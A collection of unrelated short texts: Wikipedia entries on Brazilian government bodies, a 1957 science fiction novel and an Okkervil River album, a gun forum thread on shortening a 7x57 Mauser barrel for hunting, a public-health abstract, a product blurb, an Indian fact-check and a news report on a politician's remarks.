Brazilian Airport Infrastructure Company, Empresa Brasileira de Infraestrutura Aeroportuária (Infraero)
Higher War School, Escola Superior de Guerra (ESG)
Armed Forces Hospital, Hospital das Forças Armadas (HFA)
National Civil Aviation Agency, Agência Nacional de Aviação Civil
Ministry of Development, Industry and Foreign Trade, Ministério do Desenvolvimento, Indústria e Comércio Exterior (MDIC)
National Institute of Metrology, Standardization and Industrial Quality (Brazil) Instituto Nacional de Metrologia, Normalização e Qualidade Industrial, (INMETRO)
National Institute of Industrial Property Instituto Nacional da Propriedade Industrial (INPI)
National Bank for Economic and Social Development Banco Nacional de Desenvolvimento Econômico e Social (BNDES)
Ministry of Education, Ministério da Educação (MEC)
National Institute of Educational Studies and Investigations, Instituto Nacional de Estudos e Pesquisas Educacionais (INEP)
National Council of Education, Conselho Nacional da Educação
Joaquim Nabuco Foundation, Fundação Joaquim Nabuco
Federal Centers of Technological Education, Centros Federais de Educação Tecnológica (CEFETS)
Federal agrotechnical schools, Escolas agrotécnicas federais
Federal universities
Ministry of the Environment, Ministério do Meio Ambiente (MMA)
Councils and commissions
Conselho Nacional do Meio Ambiente (CONAMA)
Conselho Nacional da Amazônia Legal (CONAMAZ)
Conselho Nacional de Recursos Hídricos
Conselho Deliberativo do Fundo Nacional do Meio Ambiente
Conselho de Gestão do Patrimônio Genético
Comissão de Gestão de Florestas Públicas
Comissão Nacional de Florestas (CONAFLOR)
Serviço Florestal Brasileiro (SFB)
Linked entities
Agência Nacional de Águas (ANA)
Brazilian Institute of Environment and Renewable Natural Resources, Instituto Brasileiro do Meio Ambiente e dos Recursos Naturais Renováveis (IBAMA)
Instituto Chico Mendes de Conservação da Biodiversidade
Instituto de Pesquisas Jardim Botânico do Rio de Janeiro (JBRJ)
Companhia de Desenvolvimento de Barcarena (CODEBAR)
Ministry of Foreign Affairs, Ministério das Relações Exteriores (MRE/Itamaraty)
Rio Branco Institute, Instituto Rio Branco (IRBr)
Alexandre de Gusmão Foundation, Fundação Alexandre de Gusmão (FUNAG)
Ministry of Finance, Ministério da Fazenda
Secretariats
Secretaria-Executiva
Subsecretaria de Planejamento Orçamento e Administração
Secretaria de Acompanhamento Econômico (SEAE)
Secretaria de Assuntos Internacionais
Secretaria de Política Econômica
Secretariat of Federal Revenue of Brazil, Secretaria da Receita Federal do Brasil
Secretariat of National Treasury, Secretaria do Tesouro Nacional
Collegiate Organs
Conselho Monetário Nacional
Conselho Nacional de Política Fazendária
Conselho de Recursos do Sistema Financeiro Nacional
Conselho Nacional de Seguros Privados
Conselho de Recursos do Sistema Nacional de Seguros Privados, de Previdência Privada Aberta e de Capitalização
Council for Financial Activities Control, Conselho de Controle de Atividades Financeiras (COAF)
Câmara Superior de Recursos Fiscais
Conselhos de Contribuintes
Comitê Brasileiro de Nomenclatura
Comitê de Avaliação de Créditos ao Exterior
Comitê de Coordenação Gerencial das Instituições Financeiras Públicas Federais
Linked entities
Autarchies:
Central Bank of Brazil, Banco Central do Brasil
Comissão de Valores Mobiliários
Superintendência de Seguros Privados
Public companies:
Casa da Moeda do Brasil
Serviço Federal de Processamento de Dados
Caixa Econômica Federal
Empresa Gestora de Ativos
Mixed economy companies:
Banco do Brasil
Brasil Resseguros
Banco da Amazônia
Banco do Nordeste do Brasil
Banco do Estado do Piaui
Banco do Estado de Santa Catarina
BESC Crédito Imobiliário (BESCRI)
Ministry of Health, Ministério da Saúde (MS)
Ministry of Justice, Ministério da Justiça (MJ)
State Secretariat for Human Rights, Secretaria de Estado dos Direitos Humanos (SEDH)
National Secretariat of Justice, Secretaria Nacional de Justiça
National Prison Department, Departamento Penitenciário Nacional (DEPEN)
Department of Foreigners, Departamento de Estrangeiros (DEEST)
National Secretariat of Public Security, Secretaria Nacional de Segurança Pública (SENASP)
Secretariat for Economic Rights, Secretaria de Direito Econômico (SDE)
Department of Consumer Protection and Defence, Departamento de Proteção e Defesa do Consumidor (DPDC)
Department of Economic Protection and Defence, Departamento de Proteção e Defesa Econômico (DPDE)
Secretariat for Legislative Affairs, Secretaria de Assuntos Legislativos (SAL)
Federal Police Department, Departamento de Polícia Federal (DPF)
Department of the Federal Highway Police, Departamento de Polícia Rodoviária Federal (DPRF)
Departamento Nacional de Trânsito (DENATRAN)
Ministry of Labor and Employment, Ministério do Trabalho e Emprego
Board of Trustees of the Guarantee Fund Service Time, Conselho Curador do Fundo de Garantia do Tempo de Serviço
Advisory Board of the Fund for Workers, Conselho Deliberativo do Fundo de Amparo ao Trabalhador
National Council for Solidarity Economy, Conselho Nacional de Economia Solidária
National Immigration Council, Conselho Nacional de Imigração
National Labour Council, Conselho Nacional do Trabalho
Legal Advice, Consultoria Jurídica
Jorge Duprat Figueiredo Foundation, Safety and Occupational Health, Fundação Jorge Duprat Figueiredo, de Segurança e Medicina do Trabalho
Office of the Minister, Gabinete do Ministro
Ombudsman General, Ouvidoria-Geral
Bureau of Labor Inspection, Secretaria de Inspeção do Trabalho
Department of Public Employment Policies, Secretaria de Políticas Públicas de Emprego
Bureau of Labor Relations, Secretaria de Relações do Trabalho
National Secretariat for Solidarity Economy, Secretaria Nacional de Economia Solidária
Executive Secretary, Secretaria-Executiva
Regional superintendencies:
Alagoas
Goiás
Mato Grosso
Mato Grosso do Sul
Minas Gerais
Pernambuco
Rondônia
Roraima
Santa Catarina
São Paulo
Sergipe
Tocantins
Bahia
Paraíba
Acre
Amapá
Amazonas
Ceará
Distrito Federal
Espírito Santo
Maranhão
Pará
Paraná
Piauí
Rio de Janeiro
Rio Grande do Norte
Ministry of National Integration, Ministério da Integração Nacional
Departamento Nacional de Obras Contra as Secas (DNOCS)
Ministry of Planning, Budget and Management, Ministério do Planejamento, Orçamento e Gestão
Brazilian Institute of Geography and Statistics, Instituto Brasileiro de Geografia e Estatística (IBGE)
Institute of Applied Economic Research, Instituto de Pesquisa Econômica Aplicada (IPEA)
Ministry of Science and Technology, Ministério da Ciência e Tecnologia (MCT)
Brazilian Space Agency, Agência Espacial Brasileira (AEB)
National Institute for Space Research, Instituto Nacional de Pesquisas Espaciais (INPE)
National Nuclear Energy Commission, Comissão Nacional de Energia Nuclear (CNEN)
National Institute of Amazonian Research, Instituto Nacional de Pesquisas da Amazônia (INPA)
National Institute of Technology, Instituto Nacional de Tecnologia (INT)
National Council of Scientific and Technological Development, Conselho Nacional de Desenvolvimento Científico e Tecnológico (CNPq)
Brazilian Institute of Information in Science and Technology, Instituto Brasileiro de Informação em Ciência e Tecnologia (IBICT)
Institute for Pure and Applied Mathematics, Instituto Nacional de Matemática Pura e Aplicada (IMPA)
Brazilian Centre of Physics Research, Centro Brasileiro de Pesquisas Físicas (CBPF)
Centre of Mineral Technology Centro de Tecnologia Mineral (CETEM)
National Laboratory of Astrophysics, Laboratório Nacional de Astrofísica (LNA)
National Laboratory of Scientific Computing, Laboratório Nacional de Computação Científica (LNCC)
National Laboratory of Light Synchrotron, Laboratório Nacional de Luz Síncrotron (LNLS)
National Technical Commission of Biosecurity, Comissão Técnica Nacional de Biossegurança (CTNBio)
Renato Archer Research Center, Centro de Pesquisas Renato Archer (CPRA)
Ministry of Social Welfare and Security, Ministério de Previdência e Assistência Social (MPAS)
National Institute of Social Security, Instituto Nacional do Seguro Social (INSS)
Ministry of Sports, Ministério do Esporte
National Institute of Sport Development, Instituto Nacional de Desenvolvimento do Desporto
Ministry of Tourism, Ministério do Turismo
Brazilian Tourism Agency, Empresa Brasileira de Turismo (Embratur)
Ministry of Transportation, Ministério dos Transportes
Departamento Nacional de Infraestrutura de Transporte (DNIT)
Judicial branch
Administrative organs
National Justice Council
Federal Council of Justice Conselho da Justiça Federal (CJF)
Supreme Court
Supreme Federal Court, Supremo Tribunal Federal (STF)
Superior courts
Superior Court of Labor, Tribunal Superior do Trabalho (TST)
Superior Military Court, Superior Tribunal Militar (STM)
Superior Electoral Court Tribunal Superior Eleitoral (TSE)
Superior Court of Justice, Superior Tribunal de Justiça (STJ)
Second instance Courts
Regional Labor Courts
Regional Electoral Courts
Regional Federal Courts
Regional Military Courts
Regional State Courts
First instance courts
Labor Courts
Electoral Courts
Federal Courts
Military Courts
Municipal Courts
Other court
Court of Justice of the Federal District and the Territories Tribunal de Justiça do Distrito Federal e dos Territórios (TJDFT)
Public Ministry of the Union
Federal Public Ministry, Ministério Público Federal (MPF)
Labor Public Ministry, Ministério Público do Trabalho (MPT)
Military Public Ministry, Ministério Público Militar (MPM)
See also
List of Brazilian government enterprises
List of regulatory organs of Brazil
Brazilian Public Service
References
Sistema de Informações Organizacionais do Governo Federal SIORG
Category:Lists of organisations based in Brazil | {
"pile_set_name": "Wikipedia (en)"
} |
Rocket to Limbo
Rocket to Limbo is a 1957 science fiction novel by Alan E. Nourse. It was first published in book form by David McKay Co., Inc, and was later incorporated into an Ace Double (with Echo in the Skull, by John Brunner). It first appeared in the October 1957 issue of Satellite Science Fiction.
Plot
On the afternoon of 2008 Mar 03 the Star Ship Argonaut lifted off Earth and set course on the Long Passage to Alpha Centauri. The builders intended that the crew establish a colony on one of Alpha Centauri's planets and then bring Argonaut back to Earth. The ship never returned and no trace of her has ever been found.
In the year 2351 Lars Heldrigsson joins the crew of the Star Ship Ganymede, which is scheduled to fly to Vega III. Once the ship has lifted herself into space Lars and the other 21 crewmen discover that the ship is actually going to the planet Wolf IV to search for the lost Star Ship Planetfall. Such a thing is unprecedented and even more disturbing is the presence of fusion bombs in the ship's hold. Angry at being effectively shanghaied onto a dangerous mission, some of the men attempt to take the ship. The mutiny fails and, threatened with abandonment in interstellar space, the mutineers agree to continue on the mission.
Wolf IV is a cold, gray planet, almost completely covered by clouds. A scout spots what appears to be the wreckage of the Planetfall lying on a mountainside and also catches a glimpse of what he takes to be a city in a valley beyond the mountains. The crew lands Ganymede on a river delta 75 miles from the wreck and landing parties go out to familiarize the men with the environment. At night the mutineers sabotage the communications equipment and return to the ship. Lars discovers the betrayal and he and the other men pursue the mutineers. When they get back to the delta they see that the ship is gone, though no one heard or saw it blast off.
With no other option available to them, the men make the arduous climb to the wreck, hoping to find food, generators to recharge the batteries in their heater suits, and possibly a means of communicating with Earth. But the wreck is not the Planetfall: it is the Argonaut. The men's last, faint hope now is to find the city that the scout thought he saw in the next valley.
The men trudge onward, over the pass, and down into the valley. The fog lifts and the men see a three-dimensional kaleidoscope, filled with people, floating several hundred feet above a meadow. Lars is taken into the city and meets up with Peter Bingham, Ganymede's other Officer-in-Training. Lars and Peter are treated as honored guests by the City-people, who possess the power of teledynamics, the ability to change the forms of matter and energy with a thought. Meanwhile, Planetfall and Ganymede are kept in storage and their crews kept in deep sleep.
The City-people subject Lars and Peter to some kind of training but cannot explain what it is meant to accomplish. Then suddenly the men discover that they are being trained to develop their own teledynamic abilities and that the training has succeeded. The City-people, the descendants of the babies that aliens found in the wreck of the Argonaut, free the other men and allow them to take their ships back to Earth, with Lars and Peter as ambassadors of a new order of Reality.
At the end of the story Lars and Peter break the deadlock in the plot by developing the latent psychic powers that the City-people had been nurturing in them. In this feature the story resembles a similar breaking of the story’s deadlock found in The Angry Espers by Lloyd Biggle, Jr., in which an Earthman stranded on a strange planet must develop his latent psychic abilities in order to deal with the people around him.
Publication history
1957, USA, David McKay, OCLC #586602, Hardback (198 pp).
1957, USA, Renown Publications, Inc., Satellite Science Fiction (Oct 1957), digest (132 pp).
1959, USA, Ace Books (Ace Double #D-385), Pub date Sep 1959, Paperback (162 pp).
1961, Spain, Editorial Cenit (#9), Madrid, as El Planeta Gris (The Gray Planet).
1964, UK, Faber & Faber (London), (174 pp)
1964, Germany, Arthur Moewig Verlag (Munich)(Terra Sonderband #89), 172 pp, as Phantom-City.
1986, USA, Ace Books, , Pub date Oct 1986, Paperback (185 pp).
Reviews
The book was reviewed by
S. E. Cotts at Amazing Science Fiction Stories (Jan 1960)
Frederik Pohl at If (Mar 1960)
P. Schuyler Miller at Astounding/Analog Science Fact & Fiction (Jun 1960)
Floyd C. Gale at Galaxy Science Fiction (August 1960)
Patricia Altner at Fantasy Review (Dec 1986)
Virginia Kirkus at Kirkus Reviews (1957 Oct 25). Ms. Kirkus wrote, "Ad astra again – this time aboard the SS Ganymede with Lars Heldrigsson. Lars lives in the year 2008. Iceland was home to Lars, with flourishing wheat fields long since established by Lars' grandfather. His first star-run should have lasted two months, for a embarkation the Ganymede's goal was Vega III for a final check on a new colony site for men from over-populated earth. But Lars had barely gotten his 'space legs' when he began to suspect that Peter Brigham's presence on board presaged an entirely different destination – one that would involve Lars in attempted mutiny. This is no ordinary star-jump; author Nourse has conceived a really credible plot with three dimensional characters motivated by plausible reasoning. Furthermore, he has a most uncanny ability to visualize the strange sensations and settings of the world of the future. The season's best juvenile science fiction fabrication to date."
References
Notes
Sources
Clute, John. "Nourse, Alan E." The Encyclopedia of Science Fiction. Eds. John Clute, David Langford, Peter Nicholls and Graham Sleight. Gollancz, 4 Nov. 2014. Web. 8 Nov. 2014.
Tuck, Donald H. (1974). The Encyclopedia of Science Fiction and Fantasy. Chicago: Advent. pg. 333. .
Listings
The book is listed at
The Library of Congress as 57012177
The British Library as UIN = BLL01002679137
Category:1957 American novels
Category:1957 science fiction novels
Category:Alpha Centauri in fiction
Category:American science fiction novels
Category:Space exploration novels
Category:Fiction set in the 24th century | {
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minimum accurate barrel length for 7mm mauser
I just got a nicely sporterized chilean mauser in 7x57 (7mm Mauser). I'd like to shorten the barrel and stock for my wife to use it for deer/elk. what is the minimum length I should go to and still be able to get decent groups with the high twist rate barrel on it?
Some well thought of Brno rifles came with barrels that I think are a metric length that translates to 20.5". Those are nice rifles.
The barrel length, twist and accuracy don't affect each other much as long as the original twist was ok.
TurtlePhish
November 29, 2012, 11:16 PM
Length has nothing to do with accuracy as long as there's enough rifling to stabilize the bullet (which happens very quickly in the very beginning of the barrel).
What length WILL effect is how far out you'll be able to effectively reach out with the rifle.
.333 Nitro Express
November 30, 2012, 12:00 AM
Dumb question: I understand why you may want to shorten the stock (depending on your wife's length of pull), but why do you want to shorten the barrel? How long is it now?
I think that 20"-23" for a 7mm is about right--anything shorter is going to give you a lot of muzzle flash and leave a lot of powder unburned.
Art Eatman
November 30, 2012, 12:28 AM
Shorter = noiser, which makes sighting in less pleasant.
wlewisiii
November 30, 2012, 12:32 AM
I have a 19" barrel on my "scout rifle" that I am building in 7x57. I'd not be willing to go any shorter.
morcey2
November 30, 2012, 01:15 AM
Mine has a 24" barrel and I like that length. 20" is probably as short as I'd go. If I want that kind of muzzle blast, I'll grab one of my M44s or M38s. :)
Matt
lefteyedom
November 30, 2012, 01:28 AM
IMHO: 20" is a idea hunting barrel length, with an overall rifle length of not more than 40 inches.
I prefer hunting rifles to be a bit on the short side with the balance point being in the middle of the action. A rifle should look proportional and be quick to the shoulder. Muzzle blast from a 20" barrel 7X57 is very manageable. Hunting rifles are carried much and shot little. Basic marksmanship skills are best developed and maintained easy shooting rifles. Once the skills are mastered they are easily transferred to any weapon. (Savage is currently selling a HOG GUN cambered 338 Win Mag with a 20" barrel that would be almost unmanageable)
For the record:
My old Savage 110J in 7-08 has a 20" barrel with an overall length of 40". The barrel extends 10 1/2 inches past the stock, and the pull is 13". (2x7x32 burris)
My "truck gun" is an military 1898 Mauser, 8X57, its barrel is 18 1/2" with an overall length of 38". The barrel extends 8" past the stock and the pull is 13" (fix 4x scope)
MachIVshooter
November 30, 2012, 11:53 AM
I'd recommend 20"-22". The 7x57 is an efficient cartridge, but you're still burning ~50 grains of powder. Go under 20", velocity will start to suffer quite a bit, limiting range.
helotaxi
November 30, 2012, 12:15 PM
I think that 20"-23" for a 7mm is about right--anything shorter is going to ... leave a lot of powder unburned.Common misconception. The overwhelming majority of the powder that is going to burn does so before the bullet has gone 6 inches down the barrel. After that it's just a matter of the high pressure combustion products from the burned powder expanding to continue to accelerate the bullet. As long as the expanding gases still have sufficient pressure to overcome the friction of the bullet on the bore, adding barrel length will add velocity. However, you reach a point where the additional velocity gained per inch of barrel begins to drop off fairly rapidly. What barrel length that occurs at depends on the cartridge and bullet being used. The larger the ratio of powder charge to bore diameter, the longer the barrel length before this occurs. That is because the relatively large charge of powder generates a lot of gas. A lot of gas expanding down a relatively small tube creates a small expansion ratio and the result is that the pressure and resulting bullet acceleration remains fairly high for an extended distance. Cartridge that act like this are called "over-bore" though "under bore" would make more sense.
I'm not too familiar with the loading of the 7x57, but it does have a lower case capacity than the 7mm WSM. The WSM has a standard barrel length of 24" and going shorter than that starts to cost velocity quickly. The 7x57 should be somewhat less sensitive to barrel lenght within that range.
jimmyraythomason
November 30, 2012, 01:19 PM
My 7x57 performs very well with it's 20" barrel.
joed
November 30, 2012, 01:21 PM
I can understand shortening the barrel, I hated Mausers because they came with about a 40" barrel.
One thing I never see are pictures of sporterized guns, I'd like to.
rcmodel
November 30, 2012, 01:24 PM
IMO: Shortening it below 20" would be a huge mistake.
Muzzle blast will be so bad and so close to her ears your wife will hate shooting it.
rc
jimmyraythomason
November 30, 2012, 01:54 PM
One thing I never see are pictures of sporterized guns, I'd like to. Okee dokee. Here is a 7x57 built from a Chinese mauser receiver with a Latin contract barrel.
MachIVshooter
November 30, 2012, 02:41 PM
Cartridge that act like this are called "over-bore" though "under bore" would make more sense.
One has to remember that it's an abbreviated colloquialism. There's a 3rd word that gets left off most of the time: Capacity.
The correct, full term is over bore capacity
.333 Nitro Express
November 30, 2012, 04:15 PM
Helotaxi, I respectfully disagree. :)
While you are right that the bulk of the powder gets burned in the first few inches of a barrel, a shorter barrel will leave more powder unburned or not fully burned than a longer one. This is obviously more marked with slow-burning powders such as 4350, 4831 or 450, with cartridges that require a heavier charge, such as the Wby Mags, and with lower rather than higher pressures.
Here's a quote from a S.W.A.T magazine article:
According to Mike Rescigno, President of Tac Ops, the 22-inch barrel is ideal for the tactical shooters that are going to use the 190-grain Federal Match ammo. There isn't any loss of performance by going to the 22-inch barrel and this round. The Alpha 66 still provides 1/4-MOA or better accuracy.
For heavier bullets or hotter loads with slower burning powders, Rescigno recommends a 24- to 26-inch barrel. The longer barrel length is necessary for complete powder combustion with these loads. (Emphasis mine)
This also bears out with my experience working with engineers of rifle manufacturers, when we would discuss introducing a new hunting rifle in a "hot" caliber--complete combustion of slower-burning powders was always a concern.
I do agree with you that this is largely an academic discussion, though--there are a couple barrel lengths that are a commonsense minimum for standard and magnum cartridges respectively (well, depending on bore size too, but now we are wading into Megageek Land), and as long as we stay within range of these lengths, everything else is superfluous.
Please let me know if there is more recent data that shows otherwise--I'd be interested in seeing that, also because I've been out of the loop for a few years.
helotaxi
November 30, 2012, 06:25 PM
Agree or disagree, that doesn't change the internal ballistics. "Complete" powder burn is not a goal worth pursuing and any gains from a longer barrel is not because more powder burns.
Play with Quickload. Look at the percent burn number. With 3031, for example, you get a full burn almost regardless of barrel length using a 155gn pill in the .308. With Varget, almost no barrel length within reason gves you a complete burn. The velocities of the two powders track very closely through the range of barrel lengths. You'll find that the same comparison holds true with the various cartridges and powders. You'll also find that any suitable powder will be more than 90% burned in a 6" barrel and it will often take more than 30" to get 100%.
Getting all the powder to burn is a pointless exercise as the small percentage of unburned powder adds very little extra gas to the equation. It does essentially nothing to sustain the pressure curve as the pressure is dropping so fast when that last handful of percentage points of the powder charge finishes burning that measuring the difference in pressure/veloctiy from its contribution is essentially impossible because it's simply too small.
The whole point of a large case of slow powder behind a bullet isn't to provide a long duration burn, the actual difference in burn time is miniscule and measured in single digit inches of bullet travel, low single digits. What that slow powder does is slightly delay the pressure spike to control peak pressure while providing a large volume of combustion product producing a sustained pressure curve. Such cartridges benefit from a long barrel not because of the powder burning, despite what the "source" above says, but because the pressure remains high for a longer period of bullet travel. Cutting the barrel short reduces the benefit of that large powder charge and the result is that you end up with a very loud, very expensive round that does not provide any added performance over a smaller cartridge burning much less powder. You can in essence find a barrel length where a .300 WM offers no benefit over a .308 and both burn the same percentage of their powder charge, both comfortably over 90%.
Boxhead
December 1, 2012, 10:05 AM
Here's a sporter 7x57 Mauser built on a Swede (M96) action. It wears a 22" barrel and is right for this particular build.
yeah, it currently wears a 28.5" barrel, as measured from the bolt face... I don't want a barely legal rifle, i just want something handy. I read somewhere that 24" was a minimum for the 7x57 before you start losing velocity, and therefore "reach". also, tutlephish, you are right about length and accuracy, i misspoke. I think the best compromise is 22". enough to keep the balance a little forward, but short enough that it's not hanging up in the brush 3 miles ahead of you... | {
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Down the River of Golden Dreams
Down the River of Golden Dreams is Okkervil River's second full-length album, released on September 2, 2003. William Schaff continued to create artwork for Okkervil River with this release. The record label Jagjaguwar released the album on CD and vinyl under the catalog number JAG54.
Track listing
Personnel
Band members
Will Sheff - Vocals, Guitar, Whirlies
Jonathan Meiburg - Vocals, Piano, Hammond organ, Wurlizter, Rhodes, Mellotron, Banjo, Tambourine
Zachary Thomas - Vocals, Electric Bass, Mandolin
Seth Warren - Vocals, Drums, Whirlies
Michi Aceret - Viola
Geoffrey Hershberger - Cello
Thomas Heyman - Pedal steel guitar
Alan Molina - Violin
John Vanderslice - Bells
The First National Brass
Katie Curran - Trombone
Dan Eastwood - Trumpet
Graham Taylor - Trumpet
Technical personnel
Okkervil River - Producer
Scott Solter - Recording
Billy Stull - Mastering
Cover Art - William Schaff
Darius Van Arman - Layout and Design
External links
Album summary by Okkervil River
"It Ends With a Fall" music video
References
Category:2003 albums
Category:Okkervil River albums | {
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Widening Disparities In Infant Mortality And Life Expectancy Between Appalachia And The Rest Of The United States, 1990-2013.
Appalachia-a region that stretches from Mississippi to New York-has historically been recognized as a socially and economically disadvantaged part of the United States, and growing evidence suggests that health disparities between it and the rest of the country are widening. We compared infant mortality and life expectancy disparities in Appalachia to those outside the region during the period 1990-2013. We found that infant mortality disparities widened for both whites and blacks, with infant mortality 16 percent higher in Appalachia in 2009-13, and the region's deficit in life expectancy increased from 0.6 years in 1990-92 to 2.4 years in 2009-13. The association between area poverty and life expectancy was stronger in Appalachia than in the rest of the United States. We found wide health disparities, including a thirteen-year gap in life expectancy among black men in high-poverty areas of Appalachia, compared to white women in low-poverty areas elsewhere. Higher mortality in Appalachia from cardiovascular diseases, lung cancer, chronic lower respiratory diseases or chronic obstructive pulmonary disease, diabetes, nephritis or kidney diseases, suicide, unintentional injuries, and drug overdose contributed to lower life expectancy in the region, compared to the rest of the country. Widening health disparities were also due to slower mortality improvements in Appalachia. | {
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Home users, especially Apple fans who own 802.11ac-enabled devices, will love the new AirPort Extreme for its all-new elegant design, ease of use, and great performance; advanced users should look elsewhere for more features and customization. | {
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Claim: During the Bharatiya Janata Party (BJP)-led National Democratic Alliance (NDA) regime, India had three years of current account surplus.
Who: BJP Rajya Sabha member and spokesperson Piyush Goyal
When: On 29 September on Twitter
Check: He is right
During the three-year period from 2001-02 to 2003-04 of the NDA regime, the country had a current account surplus of 0.7%, 1.2%, 2.3% of gross domestic product, respectively.
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Women should stay away from places where they may be targeted: Azam Khan on Rampur molestation
RAMPUR: After a video of two women being molested by a group of men in broad daylight in Uttar Pradesh’s Rampur district went viral on social media triggering an outrage in the state, Samajwadi Party leader Azam Khan fanned the controversy by saying girls should avoid places where they may be molested.“Molestation, misbehaviour with women, loot, dacoity and murder have become the order of the day. Before the assembly polls, I had warned the voters of the consequences of voting for the BJP. I had urged them to keep in mind the perfect rule of the SP... I had said if the BJP was given a chance, law and order will worsen,” he told reporters.The SP leader claimed that women in the state were not safe ever since the BJP government took over. Khan advised the parents of the girls to realise the “gravity of the situation.” “For the safety of your prestige, keep your daughters inside the houses under strict vigil,” he said.Khan’s son Abdullah Azam is an MLA from Swar-Tanda assembly seat where the incident was reported.Reacting to his statement, state minorities affairs minister Baldev Singh Aulakh said, “That’s the reason why the people of the state had ousted the SP regime from power. Azam Khan should apologise for his insensitive comment.” Aulakh said that he wants the police to book the accused under the Gangster Act. and ensure that they get strict punishment. “Harassment of women will not be tolerated under the Yogi Adityanath government,” he added.In December 2016, Azam Khan had to tender an unconditional apology in the Supreme Court for calling the Bulandshahr gangrape incident "a political conspiracy".The former minister had raked controversy by saying that investigative agencies should explore the possibility of an opposition party being involved in the rape of a mother and daughter in Bulandshahr. Calling his statement “objectionable and insensitive”, a bench comprising justices Dipak Misra and C Nagappan had observed, "Why should people in power and authority make such statement which shakes faith of victim in justice delivery system?” | {
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